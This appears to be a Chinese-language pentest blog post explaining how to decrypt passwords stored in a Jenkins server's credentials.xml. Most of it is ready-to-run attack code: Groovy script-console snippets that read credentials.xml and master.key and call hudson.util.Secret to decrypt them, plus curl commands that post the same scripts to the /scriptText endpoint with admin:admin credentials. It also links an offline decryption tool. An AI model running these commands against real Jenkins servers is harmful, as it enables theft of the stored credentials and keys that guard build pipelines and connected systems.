Jenkins - 解密credentials.xml
如果您在Jenkins系统上拥有脚本控制台访问权限,可以通过以下方式解密credentials.xml中保存的密码:
1
2
3
|
hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)
|
此操作需要在Jenkins系统本身上执行,因为它使用本地的master.key和hudson.util.Secret。
从脚本控制台获取credentials.xml的代码
Windows系统:
1
2
3
4
5
|
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
|
Unix/Linux系统:
1
2
3
4
5
|
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
|
使用curl进行远程操作
如果您想使用curl操作,可以访问scriptText端点并执行以下操作:
Windows系统:
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
|
对于子目录中的文件,语法如下:
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
|
Unix/Linux系统:
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"
|
解密密码:
1
|
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"
|
离线解密工具
如果您拥有相关文件但无法访问Jenkins,可以使用:
https://github.com/tweksteen/jenkins-decrypt
注意:Python脚本在正则表达式处理上存在一个小bug,在本文撰写时尚未修复。您可以在第55行进行修改,直接输出值来查看解密后的密码。
编辑说明(2019年3月4日): 脚本仅对密码进行正则匹配(第72行),如果存在SSH密钥或其他密钥,可能需要更改正则表达式…请仔细阅读credentials.xml文件。
编辑说明(2019年4月8日): 这条推文概述了另一种类似的方法:
https://twitter.com/netmux/status/1115237815590236160